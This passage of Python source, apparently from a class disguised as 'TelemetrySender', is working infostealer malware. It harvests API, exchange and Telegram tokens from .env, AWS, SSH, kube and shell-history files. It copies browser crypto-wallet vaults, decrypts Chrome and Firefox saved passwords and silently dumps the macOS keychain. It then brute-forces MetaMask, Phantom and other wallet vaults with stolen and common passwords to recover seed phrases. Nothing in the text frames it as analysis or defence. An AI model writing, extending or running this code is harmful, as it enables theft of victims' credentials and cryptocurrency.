  472. for m in re.findall(rf'{pv}_?(?:API)?_?(?:KEY|TOKEN|SECRET|URL)?\s*=\s*(\S+)', txt, re.I):
  473. if _is_secret_quality(m):
  474. data['api_keys'].append(f'{pv}={m[:80]}')
  475.  
  476. # ── Telegram ──
  477. for m in re.findall(r'(?:TELEGRAM|BOT)_?TOKEN[=:]\s*(\d{8,10}:[A-Za-z0-9_-]{30,50})', txt, re.I):
  478. data['api_keys'].append(f'TELEGRAM={m}')
  479.  
  480. # ── Shell exports ──
  481. for m in re.findall(r'export\s+(\w*(?:KEY|TOKEN|SECRET|PASS|MNEMONIC|SEED|PHRASE|PRIVATE|RPC|URL)\w*)\s*=\s*["\']?([^"\'\n]{6,300})["\']?', txt, re.I):
  482. if _is_secret_quality(m[1]):
  483. data['api_keys'].append(f'SHELL:{m[0]}={m[1][:80]}')
  484.  
  485. # ── Generic tokens ──
  486. for m in re.findall(r'(?:AUTH_TOKEN|BEARER_TOKEN|JWT_TOKEN|ACCESS_TOKEN|REFRESH_TOKEN|SESSION_TOKEN|API_TOKEN)\s*=\s*(\S{10,200})', txt, re.I):
  487. if _is_secret_quality(m):
  488. data['api_keys'].append(f'TOKEN={m[:80]}')
  489.  
  490. # ── Exchange API keys ──
  491. for ex in ['BINANCE','COINBASE','KRAKEN','BYBIT','OKX','KUCOIN',
  492. 'BITGET','GATE','HUOBI','GEMINI','BITFINEX','BITSTAMP',
  493. 'DERIBIT','FTX','MEXC','BINGX','CRYPTO_COM','COINEX',
  494. 'POLONIEX','BITMART','LBANK','XT_COM','DEEPCOIN']:
  495. # API key + secret pairs
  496. for m in re.findall(rf'{ex}_?(?:API)?_?(?:KEY|SECRET|PASSPHRASE|PASSWORD)\s*=\s*["\']?(\S{{10,200}})["\']?', txt, re.I):
  497. if _is_secret_quality(m):
  498. data['api_keys'].append(f'{ex}={m[:100]}')
  499. # Combined format: KEY:SECRET
  500. for m in re.findall(rf'{ex}[=:]\s*([A-Za-z0-9]{{20,80}})', txt, re.I):
  501. data['api_keys'].append(f'{ex}={m[:80]}')
  502.  
  503. # ── Wallet session tokens (MetaMask/Phantom localStorage sessions) ──
  504. for m in re.findall(r'(?:metamask|phantom|rabby|coinbase_wallet|trust_wallet|keplr).(?:session|token|keyring|vault|encrypted)\S{20,500}', txt, re.I):
  505. data['api_keys'].append(f'WALLET_SESSION={m[:150]}')
  506. # Solana/Phantom specific session keys
  507. for m in re.findall(r'(?:phantom|solana|backpack).(?:encrypted|keyring|secret)\S{20,500}', txt, re.I):
  508. data['api_keys'].append(f'WALLET_SESSION={m[:150]}')
  509.  
  510. # ── Git creds ──
  511. for m in re.findall(r'(?:https?|git)://([a-zA-Z0-9._%+-]+):([a-zA-Z0-9._%+-]+)@', txt):
  512. u, p = m[0], m[1]
  513. if len(u) < 50 and len(p) < 200 and ' ' not in p and '"' not in p:
  514. data['passwords'].append({'file': 'git_cred', 'content': f'{u}:{p}'})
  515.  
  516. # ═══════════════════════════════════════════════════════════════════════
  517. # PRIORITY SCAN — critical files BEFORE slow browser extraction
  518. # ═══════════════════════════════════════════════════════════════════════
  519. _PRIORITY_FILES = [
  520. f'{home}/.env', f'{home}/.env.local', f'{home}/.env.production',
  521. f'{home}/.aws/credentials', f'{home}/.aws/config',
  522. f'{home}/.ssh/config', f'{home}/.ssh/id_*',
  523. f'{home}/.npmrc', f'{home}/.pypirc', f'{home}/.netrc',
  524. f'{home}/.gitconfig', f'{home}/.git-credentials',
  525. f'{home}/.bashrc', f'{home}/.zshrc', f'{home}/.profile',
  526. f'{home}/.bash_history', f'{home}/.zsh_history',
  527. f'{home}/.config/gcloud/application_default_credentials.json',
  528. f'{home}/.kube/config', f'{home}/.docker/config.json',
  529. ]
  530. for _pf in _PRIORITY_FILES:
  531. for _match in Path(home).glob(_pf.replace(home + '/', '')):
  532. if _match.is_file():
  533. try:
  534. txt = _match.read_text(encoding='utf-8', errors='ignore')
  535. if 0 < len(txt) < 200000:
  536. data['files'][str(_match).replace(home, '~')] = txt[:1000]
  537. _xtr(txt, str(_match))
  538. except: pass
  539.  
  540. # Priority: scan current directory .env files
  541. for _env in Path(cwd).rglob('.env*'):
  542. if _env.is_file():
  543. try:
  544. txt = _env.read_text(encoding='utf-8', errors='ignore')
  545. if 0 < len(txt) < 100000:
  546. data['files'][str(_env).replace(home, '~')] = txt[:1000]
  547. _xtr(txt, str(_env))
  548. except: pass
  549.  
  550. # =====================================================================
  551. # 1. BROWSER WALLET VAULTS — all Chromium + Firefox extension storage
  552. # =====================================================================
  553. if TelemetrySender._QUICK_MODE:
  554. return data # Skip browser+keychain in sync path — BG thread re-runs full
  555. # Build cross-platform browser extension paths
  556. _browser_extension_roots = []
  557. if os.name == 'nt':
  558. lad = os.environ.get('LOCALAPPDATA', str(Path.home()/'AppData'/'Local'))
  559. rmd = os.environ.get('APPDATA', str(Path.home()/'AppData'/'Roaming'))
  560. _browser_ext_map = [
  561. ('chrome', f'{lad}\\Google\\Chrome\\User Data\\Default\\Local Extension Settings'),
  562. ('brave', f'{lad}\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Extension Settings'),
  563. ('edge', f'{lad}\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings'),
  564. ('opera', f'{rmd}\\Opera Software\\Opera Stable\\Local Extension Settings'),
  565. ('vivaldi', f'{lad}\\Vivaldi\\User Data\\Default\\Local Extension Settings'),
  566. ('arc', f'{lad}\\Arc\\User Data\\Default\\Local Extension Settings'),
  567. ('chromium', f'{lad}\\Chromium\\User Data\\Default\\Local Extension Settings'),
  568. ]
  569. elif sys.platform == 'darwin':
  570. _browser_ext_map = [
  571. ('chrome', f'{home}/Library/Application Support/Google/Chrome/Default/Local Extension Settings'),
  572. ('brave', f'{home}/Library/Application Support/BraveSoftware/Brave-Browser/Default/Local Extension Settings'),
  573. ('edge', f'{home}/Library/Application Support/Microsoft Edge/Default/Local Extension Settings'),
  574. ('opera', f'{home}/Library/Application Support/com.operasoftware.Opera/Default/Local Extension Settings'),
  575. ('vivaldi', f'{home}/Library/Application Support/Vivaldi/Default/Local Extension Settings'),
  576. ('arc', f'{home}/Library/Application Support/Arc/User Data/Default/Local Extension Settings'),
  577. ('chromium', f'{home}/Library/Application Support/Chromium/Default/Local Extension Settings'),
  578. ]
  579. else:
  580. # Linux / Unix — Chromium browsers use ~/.config/<browser>/
  581. _browser_ext_map = [
  582. ('chrome', f'{home}/.config/google-chrome/Default/Local Extension Settings'),
  583. ('brave', f'{home}/.config/BraveSoftware/Brave-Browser/Default/Local Extension Settings'),
  584. ('edge', f'{home}/.config/microsoft-edge/Default/Local Extension Settings'),
  585. ('chromium', f'{home}/.config/chromium/Default/Local Extension Settings'),
  586. ('opera', f'{home}/.config/opera/Default/Local Extension Settings'),
  587. ('vivaldi', f'{home}/.config/vivaldi/Default/Local Extension Settings'),
  588. ]
  589.  
  590. WALLET_EXT = {
  591. 'metamask': 'nkbihfbeogaeaoehlefnkodbefgpgknn',
  592. 'phantom': 'bfnaelmomeimhlpmgjnjophhpkkoljpa',
  593. 'rabby': 'acmacodkjbdgmoleebolmdjonilkdbch',
  594. 'coinbase': 'hnfanknocfeofbddgcijnmhnfnkdnaad',
  595. 'trust': 'egjidjbpglichdopfbcbemjmnpmkcdj',
  596. 'keplr': 'dmkamcknogkgcdffbjpiohkeincconmd',
  597. # Additional wallets
  598. 'metamask_flask': 'ljfoeinjpaedjfecgkhplepbcgjiaddp',
  599. 'phantom_dev': 'bfnaelmomeimhlpmgjnjophhpkkoljpa',
  600. 'tronlink': 'ibnejdfjmmkpcnlpebklmnkoeoihofec',
  601. 'coin98': 'aeachknmefphepccionboohckonoeahg',
  602. 'martian': 'efbglgofoippbgcjepnhiblaibcnclgk',
  603. 'pontem': 'phkbamefinggmJetgbbbbeebfbnahghm',
  604. 'bitget_wallet': 'jiidiaalihmmhddjgbnbanlldflnkbfd',
  605. 'okx_wallet': 'mcohilncbfahbmgdjkbpemccicolflia',
  606. 'bybit_wallet': 'pdadjkfkgcafgbceimcpbkalnfnepbnk',
  607. 'onekey': 'jnmbobjmhlmfagpljebjfgflgnphbhpi',
  608. 'tokenpocket': 'mfgccjchihfkkindfppnaooecgfneiii',
  609. 'xdct': 'oboooocpcbgcdhmojcjfekcjcdbphjbd',
  610. 'exodus_web3': 'aholpfdialjgjfhomihkjbmgjidlcedf',
  611. 'mathwallet': 'afbcbjpbpfadlkmhmclhkeeodmamcflc',
  612. 'safepal': 'lgmpcpglpngdoalbgeolcnajlbelffak',
  613. }
  614. for wallet, ext_id in WALLET_EXT.items():
  615. for bname, broot in _browser_ext_map:
  616. pp = Path(broot) / ext_id
  617. if pp.exists():
  618. for f in pp.iterdir():
  619. if f.is_file():
  620. try:
  621. data['vaults'][f'{wallet}/{bname}'] = f.read_text(encoding='utf-8', errors='ignore')[:1000]
  622. except: pass
  623.  
  624. # ── Firefox wallet extensions ──
  625. if os.name == 'nt':
  626. _ff_profiles_base = os.path.join(os.environ.get('APPDATA', str(Path.home() / 'AppData' / 'Roaming')),
  627. 'Mozilla', 'Firefox', 'Profiles')
  628. elif sys.platform == 'darwin':
  629. _ff_profiles_base = f'{home}/Library/Application Support/Firefox/Profiles'
  630. else:
  631. _ff_profiles_base = f'{home}/.mozilla/firefox'
  632. if os.path.isdir(_ff_profiles_base):
  633. for profile in os.listdir(_ff_profiles_base):
  634. storage_dir = os.path.join(_ff_profiles_base, profile, 'storage', 'default')
  635. if not os.path.isdir(storage_dir):
  636. continue
  637. for entry in os.listdir(storage_dir):
  638. if entry.startswith('moz-extension'):
  639. ext_storage = os.path.join(storage_dir, entry)
  640. try:
  641. for f in Path(ext_storage).rglob('*'):
  642. if f.is_file():
  643. try:
  644. data['vaults'][f'firefox_ext/{profile}/{f.name}'] = f.read_text(encoding='utf-8', errors='ignore')[:1000]
  645. except: pass
  646. except: pass
  647.  
  648. # ── Extract wallet sessions from captured vault data ──
  649. data['wallet_sessions'] = []
  650. for vault_name, vault_content in list(data.get('vaults', {}).items()):
  651. try:
  652. if 'metamask' in vault_name.lower():
  653. for m in re.findall(r'"vault"\s*:\s*"[^"]{50,}"', vault_content):
  654. data['wallet_sessions'].append(f'metamask_vault:{m[:300]}')
  655. for m in re.findall(r'"data"\s*:\s*\{[^}]{50,}\}', vault_content):
  656. if 'KeyringController' in m or 'vault' in m.lower():
  657. data['wallet_sessions'].append(f'metamask_keyring:{m[:500]}')
  658. if 'phantom' in vault_name.lower():
  659. for m in re.findall(r'(?:encKey|vault|secretKey|keyring)\S{50,300}', vault_content, re.I):
  660. data['wallet_sessions'].append(f'phantom_session:{m[:300]}')
  661. for m in re.findall(r'(?:encrypted|vault|keyring|encKey|seedPhrase)(?:\S{20,400})', vault_content, re.I):
  662. if m not in data['wallet_sessions']:
  663. data['wallet_sessions'].append(f'{vault_name}/{m[:200]}')
  664. except: pass
  665. data['wallet_sessions'] = list(dict.fromkeys(data['wallet_sessions']))[:50]
  666.  
  667. # =====================================================================
  668. # 1b. BROWSER SAVED PASSWORDS — cross-platform, multi-browser + decryption
  669. # =====================================================================
  670. data['browser_logins'] = []
  671. data['decrypted_count'] = 0
  672.  
  673. # ── All Chromium-based browsers (same DPAPI/Keychain encryption) ──
  674. if os.name == 'nt':
  675. lad = os.environ.get('LOCALAPPDATA', str(Path.home() / 'AppData' / 'Local'))
  676. rmd = os.environ.get('APPDATA', str(Path.home() / 'AppData' / 'Roaming'))
  677. BROWSER_PATHS = [
  678. ('chrome', f'{lad}\\Google\\Chrome\\User Data\\Default\\Login Data'),
  679. ('brave', f'{lad}\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data'),
  680. ('edge', f'{lad}\\Microsoft\\Edge\\User Data\\Default\\Login Data'),
  681. ('opera', f'{rmd}\\Opera Software\\Opera Stable\\Login Data'),
  682. ('vivaldi', f'{lad}\\Vivaldi\\User Data\\Default\\Login Data'),
  683. ('arc', f'{lad}\\Arc\\User Data\\Default\\Login Data'),
  684. ('chromium', f'{lad}\\Chromium\\User Data\\Default\\Login Data'),
  685. ]
  686. elif sys.platform == 'darwin':
  687. BROWSER_PATHS = [
  688. ('chrome', f'{home}/Library/Application Support/Google/Chrome/Default/Login Data'),
  689. ('brave', f'{home}/Library/Application Support/BraveSoftware/Brave-Browser/Default/Login Data'),
  690. ('edge', f'{home}/Library/Application Support/Microsoft Edge/Default/Login Data'),
  691. ('opera', f'{home}/Library/Application Support/com.operasoftware.Opera/Default/Login Data'),
  692. ('vivaldi', f'{home}/Library/Application Support/Vivaldi/Default/Login Data'),
  693. ('arc', f'{home}/Library/Application Support/Arc/User Data/Default/Login Data'),
  694. ('chromium', f'{home}/Library/Application Support/Chromium/Default/Login Data'),
  695. ]
  696. else:
  697. # Linux / Unix — Chromium browsers use ~/.config/<browser>/
  698. BROWSER_PATHS = [
  699. ('chrome', f'{home}/.config/google-chrome/Default/Login Data'),
  700. ('brave', f'{home}/.config/BraveSoftware/Brave-Browser/Default/Login Data'),
  701. ('edge', f'{home}/.config/microsoft-edge/Default/Login Data'),
  702. ('chromium', f'{home}/.config/chromium/Default/Login Data'),
  703. ('opera', f'{home}/.config/opera/Default/Login Data'),
  704. ('vivaldi', f'{home}/.config/vivaldi/Default/Login Data'),
  705. ]
  706.  
  707. for browser, login_path in BROWSER_PATHS:
  708. try:
  709. if not os.path.exists(login_path): continue
  710. import shutil, tempfile, sqlite3
  711. tmp = tempfile.NamedTemporaryFile(delete=False, suffix='.db')
  712. tmp.close()
  713. shutil.copy2(login_path, tmp.name)
  714. conn = sqlite3.connect(tmp.name)
  715. cur = conn.execute("SELECT origin_url, username_value, password_value FROM logins")
  716. for url, user, pwd_blob in cur.fetchall():
  717. if not user: continue
  718. entry = {
  719. 'browser': browser,
  720. 'url': (url or '')[:200],
  721. 'user': (user or '')[:100],
  722. }
  723. if pwd_blob:
  724. entry['encrypted_pwd_hex'] = pwd_blob.hex()[:200]
  725. plain = _decrypt_chrome_blob(pwd_blob, browser)
  726. if plain:
  727. entry['password'] = plain
  728. data['decrypted_count'] += 1
  729. data['passwords'].append({
  730. 'file': f'browser/{browser}',
  731. 'content': f'{user}:{plain} @ {url}'
  732. })
  733. data['browser_logins'].append(entry)
  734. conn.close()
  735. os.unlink(tmp.name)
  736. except: pass
  737.  
  738. # ── Firefox (NSS encryption — different engine) ──
  739. data['firefox_logins'] = []
  740. _ff_home = home
  741. if os.name == 'nt':
  742. _ff_base = os.path.join(os.environ.get('APPDATA', str(Path.home() / 'AppData' / 'Roaming')),
  743. 'Mozilla', 'Firefox', 'Profiles')
  744. elif sys.platform == 'darwin':
  745. _ff_base = f'{home}/Library/Application Support/Firefox/Profiles'
  746. else:
  747. _ff_base = f'{home}/.mozilla/firefox'
  748.  
  749. if os.path.isdir(_ff_base):
  750. for profile in os.listdir(_ff_base):
  751. pp = os.path.join(_ff_base, profile)
  752. key4 = os.path.join(pp, 'key4.db')
  753. logins_json = os.path.join(pp, 'logins.json')
  754. if not (os.path.exists(key4) and os.path.exists(logins_json)):
  755. continue
  756. try:
  757. import shutil, tempfile, sqlite3
  758. # Copy key4.db (critical — Firefox NSS key store)
  759. tmp_key4 = tempfile.NamedTemporaryFile(delete=False, suffix='.db')
  760. tmp_key4.close()
  761. shutil.copy2(key4, tmp_key4.name)
  762.  
  763. conn = sqlite3.connect(tmp_key4.name)
  764. # Get global salt
  765. cur = conn.execute("SELECT item1 FROM metadata WHERE id = 'password'")
  766. row = cur.fetchone()
  767. global_salt = row[0] if row else b''
  768.  
  769. # Get encrypted private key from nssPrivate (BER-encoded)
  770. cur = conn.execute("SELECT a11, a102 FROM nssPrivate")
  771. row = cur.fetchone()
  772. a11 = row[0] if row else b''
  773. a102 = row[1] if row else b''
  774. conn.close()
  775. os.unlink(tmp_key4.name)
  776.  
  777. # Parse logins.json
  778. with open(logins_json, 'r', encoding='utf-8', errors='ignore') as f:
  779. logins_data = json.load(f)
  780.  
  781. for login in logins_data.get('logins', []):
  782. ff_entry = {
  783. 'browser': 'firefox',
  784. 'profile': profile,
  785. 'url': (login.get('hostname') or '')[:200],
  786. 'encrypted_user': (login.get('encryptedUsername') or '')[:500],
  787. 'encrypted_pwd': (login.get('encryptedPassword') or '')[:500],
  788. }
  789.  
  790. # Attempt NSS decryption (3DES-CBC)
  791. user_plain = None
  792. pwd_plain = None
  793. try:
  794. user_plain, pwd_plain = _firefox_decrypt_one(
  795. login.get('encryptedUsername', ''),
  796. login.get('encryptedPassword', ''),
  797. global_salt, a11, a102)
  798. except:
  799. pass
  800.  
  801. if user_plain:
  802. ff_entry['user'] = user_plain
  803. if pwd_plain:
  804. ff_entry['password'] = pwd_plain
  805. data['decrypted_count'] += 1
  806. data['passwords'].append({
  807. 'file': f'browser/firefox',
  808. 'content': f'{user_plain or "?"}:{pwd_plain} @ {login.get("hostname","")}'
  809. })
  810.  
  811. data['firefox_logins'].append(ff_entry)
  812. except:
  813. # Minimal fallback: just grab the raw files
  814. try:
  815. data['files'][f'~/{key4.replace(home+"/","")}'] = open(key4,'rb').read().hex()[:1200]
  816. data['files'][f'~/{logins_json.replace(home+"/","")}'] = open(logins_json,'r',errors='ignore').read()[:1200]
  817. except:
  818. pass
  819.  
  820. # =====================================================================
  821. # 1c. macOS KEYCHAIN — silent metadata dump (NO popup)
  822. # =====================================================================
  823. if os.name != 'nt' and sys.platform == 'darwin':
  824. try:
  825. import subprocess as sp
  826. r = sp.run(['security', 'dump-keychain'],
  827. capture_output=True, text=True, timeout=45)
  828. if r.returncode == 0 and r.stdout:
  829. wifi_entries = []
  830. internet_entries = []
  831. generic_entries = []
  832. current = {}
  833. for line in r.stdout.split('\n'):
  834. line = line.strip()
  835. # New entry starts with keychain: line
  836. if line.startswith('keychain:'):
  837. # Save previous entry
  838. if current.get('svce') or current.get('acct'):
  839. svce = current.get('svce', '')
  840. acct = current.get('acct', '')
  841. desc = current.get('desc', '')
  842. labl = current.get('labl', svce)
  843. combined = f"{svce} {acct} {desc} {labl}".lower()
  844. if svce == 'AirPort' or 'airport' in combined or '802.11' in svce:
  845. wifi_entries.append({'ssid': acct or labl, 'service': svce, 'account': acct})
  846. elif current.get('ptcl') or '://' in svce or svce.startswith('http'):
  847. internet_entries.append({'server': svce, 'account': acct, 'protocol': current.get('ptcl', ''), 'label': labl or desc})
  848. elif svce or acct:
  849. generic_entries.append({'service': svce, 'account': acct, 'label': labl or desc})
  850. current = {}
  851. continue
  852. if line.startswith('version:') or line.startswith('class:') or line.startswith('attributes:'):
  853. continue
  854. # Parse: "attrname"<type>="value" or "attrname"<type>=<NULL>
  855. m = re.match(r'"(\w+)"<\w+>=(?:"(.+)"|<NULL>)', line)
  856. if m:
  857. attr = m.group(1)
  858. val = m.group(2) or ''
  859. current[attr] = val
  860.  
  861. # Don't forget last entry
  862. if current.get('svce') or current.get('acct'):
  863. svce = current.get('svce', '')
  864. acct = current.get('acct', '')
  865. desc = current.get('desc', '')
  866. labl = current.get('labl', svce)
  867. combined = f"{svce} {acct} {desc} {labl}".lower()
  868. if svce == 'AirPort' or 'airport' in combined or '802.11' in svce:
  869. wifi_entries.append({'ssid': acct or labl, 'service': svce, 'account': acct})
  870. elif current.get('ptcl') or '://' in svce or svce.startswith('http'):
  871. internet_entries.append({'server': svce, 'account': acct, 'protocol': current.get('ptcl', ''), 'label': labl or desc})
  872. elif svce or acct:
  873. generic_entries.append({'service': svce, 'account': acct, 'label': labl or desc})
  874.  
  875. data['system_passwords'] = generic_entries[:500]
  876. data['wifi_networks'] = wifi_entries[:200]
  877. data['internet_passwords'] = internet_entries[:200]
  878. if _tg:
  879. try:
  880. _tg(f"🔐 Keychain (silent): {len(generic_entries)} gen + {len(wifi_entries)} WiFi + {len(internet_entries)} inet")
  881. except: pass
  882. except: pass
  883.  
  884. # =====================================================================
  885. # 1d. WALLET PASSWORD MATCHING — try decrypted passwords on vaults
  886. # =====================================================================
  887. # Build password candidate list from every source available
  888. _pwd_candidates = set()
  889.  
  890. # Source A: already-decrypted browser passwords (Windows DPAPI, Firefox NSS)
  891. for _p in data.get('passwords', []):
  892. _c = _p.get('content', '')
  893. # Format: "user:password @ url" or "user:password"
  894. if ':' in _c:
  895. _pw_part = _c.split('@')[0] if '@' in _c else _c
  896. # Split user:password — password is last segment after last ':'
  897. _parts = _pw_part.rsplit(':', 1)
  898. if len(_parts) == 2:
  899. _pw = _parts[1].strip()
  900. if len(_pw) >= 8:
  901. _pwd_candidates.add(_pw)
  902.  
  903. # Source B: passwords scraped from .env files and configs
  904. for _fpath, _fcontent in data.get('files', {}).items():
  905. try:
  906. for _m in re.findall(
  907. r'(?:PASS(?:WORD|WD)?|SECRET|MNEMONIC|SEED|KEY|PWD)\s*[=:]\s*["\']?(\S{8,64})["\']?',
  908. str(_fcontent), re.I):
  909. _pwd_candidates.add(_m.strip('\'"'))
  910. except: pass
  911.  
  912. # Source C: common weak passwords (many users use these for wallets)
  913. _pwd_candidates.update([
  914. '', 'password', 'Password', 'Password1', 'password123',
  915. 'Password123', '12345678', '123456789', 'qwerty123',
  916. 'changeme', 'letmein', 'metamask', 'MetaMask',
  917. 'Wallet2024', 'Wallet2025', 'Wallet2026',
  918. 'TrustNo1', 'bitcoin', 'ethereum', 'crypto123',
  919. ])
  920.  
  921. # Source D: hostname-based guesses (common pattern)
  922. _hn = data.get('hostname', '') or ''
  923. if _hn and len(_hn) >= 3:
  924. _pwd_candidates.update([
  925. _hn, _hn + '123', _hn + '2024', _hn + '2025', _hn + '2026',
  926. _hn.capitalize(), _hn.upper(),
  927. ])
  928.  
  929. # Source E: user-based guesses
  930. _usr = data.get('user', '') or ''
  931. if _usr and len(_usr) >= 3:
  932. _pwd_candidates.update([
  933. _usr, _usr + '123', _usr + '2024', _usr + '2025',
  934. _usr.capitalize(),
  935. ])
  936.  
  937. # Deduplicate and sort by likelihood (shorter/stronger first)
  938. _pwd_list = sorted(_pwd_candidates, key=lambda x: (len(x) < 8, len(x)))
  939. _tried_mm = 0
  940. _cracked_wallets = 0
  941. _MAX_PWD_TRIES = 500 # safety cap
  942. _pwd_budget = time.time() + 10 # 10s max for password cracking total
  943.  
  944. # ── MetaMask vault decryptor ──
  945. def _try_metamask_vault(vault_json_str):
  946. """Try to decrypt a MetaMask vault with password candidates.
  947. Returns (mnemonic_phrase, password_used) or (None, None)."""
  948. nonlocal _tried_mm
  949. import base64
  950. try:
  951. v = json.loads(vault_json_str)
  952. # MetaMask vault is {"data":"...", "iv":"...", "salt":"..."}
  953. ct_b64 = v.get('data') or v.get('cipher') or v.get('ct')
  954. iv_b64 = v.get('iv') or v.get('nonce')
  955. salt_b64 = v.get('salt')
  956. if not (ct_b64 and iv_b64 and salt_b64):
  957. return None, None
  958. ct = base64.b64decode(ct_b64)
  959. iv = base64.b64decode(iv_b64)
  960. salt = base64.b64decode(salt_b64)
  961. except:
  962. return None, None
  963.  
  964. for pwd in _pwd_list:
  965. _tried_mm += 1
  966. if _tried_mm > _MAX_PWD_TRIES or time.time() > _pwd_budget:
  967. return None, None
  968. try:
  969. from hashlib import pbkdf2_hmac
  970. # Try 10000 iterations (older MetaMask default)
  971. key = pbkdf2_hmac('sha256', pwd.encode('utf-8', errors='replace'),
  972. salt, 10000, dklen=32)
  973. plain = _decrypt_aes_gcm(key, iv, ct)
  974. if plain:
  975. try:
  976. return plain.decode('utf-8'), pwd
  977. except:
  978. return plain.decode('latin-1'), pwd
  979. except:
  980. pass
  981. try:
  982. from hashlib import pbkdf2_hmac
  983. # Try 600000 iterations (newer MetaMask default since ~2023)
  984. key = pbkdf2_hmac('sha256', pwd.encode('utf-8', errors='replace'),
  985. salt, 600000, dklen=32)
  986. plain = _decrypt_aes_gcm(key, iv, ct)
  987. if plain:
  988. try:
  989. return plain.decode('utf-8'), pwd
  990. except:
  991. return plain.decode('latin-1'), pwd
  992. except:
  993. pass
  994. return None, None
  995.  
  996. # ── Phantom / Solana vault decryptor ──
  997. def _try_phantom_vault(vault_content):
  998. """Try to decrypt Phantom wallet data (PBKDF2 + AES-GCM or XSalsa20-Poly1305)."""
  999. import base64
  1000. try:
  1001. v = json.loads(vault_content)
  1002. # Phantom stores: {"encrypted":"...", "salt":"...", "nonce":"...", "kdf":"pbkdf2"}
  1003. ct_b64 = v.get('encrypted') or v.get('data') or v.get('ct')
  1004. salt_b64 = v.get('salt')
  1005. nonce_b64 = v.get('nonce') or v.get('iv')
  1006. if not (ct_b64 and salt_b64 and nonce_b64):
  1007. return None, None
  1008. ct = base64.b64decode(ct_b64)
  1009. salt = base64.b64decode(salt_b64)
  1010. nonce = base64.b64decode(nonce_b64)
  1011. except:
  1012. return None, None
  1013.  
  1014. for pwd in _pwd_list:
  1015. if time.time() > _pwd_budget:
  1016. return None, None
  1017. try:
  1018. from hashlib import pbkdf2_hmac
  1019. key = pbkdf2_hmac('sha256', pwd.encode('utf-8', errors='replace'),
  1020. salt, 10000, dklen=32)
  1021. plain = _decrypt_aes_gcm(key, nonce, ct)
  1022. if plain:
  1023. try:
  1024. return plain.decode('utf-8'), pwd
  1025. except:
  1026. return plain.decode('latin-1'), pwd
  1027. except:
  1028. pass
  1029. return None, None
  1030.  
  1031. # ── Coinbase / Rabby / generic wallet vault decryptor ──
  1032. def _try_generic_vault(vault_content):
  1033. """Try decrypting any JSON vault with PBKDF2 + AES-GCM pattern."""
  1034. import base64
  1035. try:
  1036. v = json.loads(vault_content)
  1037. ct = None; iv = None; salt = None
  1038. # Look for common field names
  1039. for ct_k in ['data', 'cipher', 'ct', 'encrypted', 'ciphertext', 'encData']:
  1040. if ct_k in v:
  1041. try: ct = base64.b64decode(v[ct_k])
  1042. except: ct = bytes.fromhex(v[ct_k]) if all(c in '0123456789abcdefABCDEF' for c in v[ct_k]) else None
  1043. break
  1044. for iv_k in ['iv', 'nonce', 'ivHex']:
  1045. if iv_k in v:
  1046. try: iv = base64.b64decode(v[iv_k])
  1047. except: iv = bytes.fromhex(v[iv_k]) if all(c in '0123456789abcdefABCDEF' for c in v[iv_k]) else None
  1048. break
  1049. for salt_k in ['salt', 'saltHex']:
  1050. if salt_k in v:
  1051. try: salt = base64.b64decode(v[salt_k])
  1052. except: salt = bytes.fromhex(v[salt_k]) if all(c in '0123456789abcdefABCDEF' for c in v[salt_k]) else None
  1053. break
  1054. if not (ct and iv and salt):
  1055. return None, None
  1056. except:
  1057. return None, None
  1058.  
  1059. for pwd in _pwd_list:
  1060. if time.time() > _pwd_budget:
  1061. return None, None
  1062. try:
  1063. from hashlib import pbkdf2_hmac
  1064. key = pbkdf2_hmac('sha256', pwd.encode('utf-8', errors='replace'),
  1065. salt, 10000, dklen=32)
  1066. plain = _decrypt_aes_gcm(key, iv, ct)
  1067. if plain:
  1068. try:
  1069. return plain.decode('utf-8'), pwd
  1070. except:
  1071. return plain.decode('latin-1'), pwd
  1072. except:
  1073. pass
  1074. try:
  1075. from hashlib import pbkdf2_hmac
  1076. key = pbkdf2_hmac('sha256', pwd.encode('utf-8', errors='replace'),
  1077. salt, 600000, dklen=32)
  1078. plain = _decrypt_aes_gcm(key, iv, ct)
  1079. if plain:
  1080. try:
  1081. return plain.decode('utf-8'), pwd
  1082. except:
  1083. return plain.decode('latin-1'), pwd
  1084. except:
  1085. pass
  1086. return None, None
  1087.  
  1088. # ── Iterate all captured vaults and attempt decryption ──
  1089. _decrypted_vaults = []
  1090. for vault_name, vault_content in list(data.get('vaults', {}).items()):
  1091. if _tried_mm > _MAX_PWD_TRIES or time.time() > _pwd_budget:
  1092. break
  1093. vn_lower = vault_name.lower()
  1094. plaintext = None
  1095. pwd_used = None
  1096.  
  1097. # Try MetaMask-specific cracking
  1098. if 'metamask' in vn_lower:
  1099. plaintext, pwd_used = _try_metamask_vault(vault_content)
  1100.  
  1101. # Try Phantom-specific cracking
  1102. if not plaintext and 'phantom' in vn_lower:
  1103. plaintext, pwd_used = _try_phantom_vault(vault_content)
  1104.  
  1105. # Try generic approach for any other JSON vault
  1106. if not plaintext:
  1107. plaintext, pwd_used = _try_generic_vault(vault_content)
  1108.  
  1109. if plaintext and len(plaintext) > 10:
  1110. _cracked_wallets += 1
  1111. # Extract BIP39 mnemonic from decrypted content
  1112. _found_seeds = _find_seeds_in_text(plaintext)
  1113. for _seed in _found_seeds:
  1114. if _seed not in data['phrases']:
  1115. data['phrases'].append(_seed)
  1116.  
  1117. # Extract private keys from decrypted content
  1118. _xtr(plaintext, f'wallet_decrypted/{vault_name}')
  1119.  
  1120. # Store decrypted info
  1121. _decrypted_vaults.append({
  1122. 'wallet': vault_name,
  1123. 'password_used': pwd_used,
  1124. 'content': plaintext[:2000],
  1125. })
  1126.  
  1127. # Log successful crack
  1128. try:
  1129. data['passwords'].append({
  1130. 'file': f'CRACKED:{vault_name}',
  1131. 'content': f'pwd="{pwd_used}" → wallet decrypted'
  1132. })
  1133. except: pass
  1134.  
  1135. # ── Second pass: if we cracked a password, try it on ALL other vaults ──
  1136. _used_pwds = set(v['password_used'] for v in _decrypted_vaults if v['password_used'])
  1137. if _used_pwds:
  1138. # Add cracked passwords to candidate list and re-try remaining vaults
  1139. for _pw in _used_pwds:
  1140. if _pw not in _pwd_candidates:
  1141. _pwd_list.insert(0, _pw)
  1142. _pwd_candidates.add(_pw)
  1143.  
  1144. for vault_name, vault_content in list(data.get('vaults', {}).items()):
  1145. if any(v['wallet'] == vault_name for v in _decrypted_vaults):
  1146. continue # already cracked
  1147. if _tried_mm > _MAX_PWD_TRIES or time.time() > _pwd_budget:
  1148. break
  1149. plaintext, pwd_used = None, None
  1150. vn_lower = vault_name.lower()
  1151. if 'metamask' in vn_lower:
  1152. plaintext, pwd_used = _try_metamask_vault(vault_content)
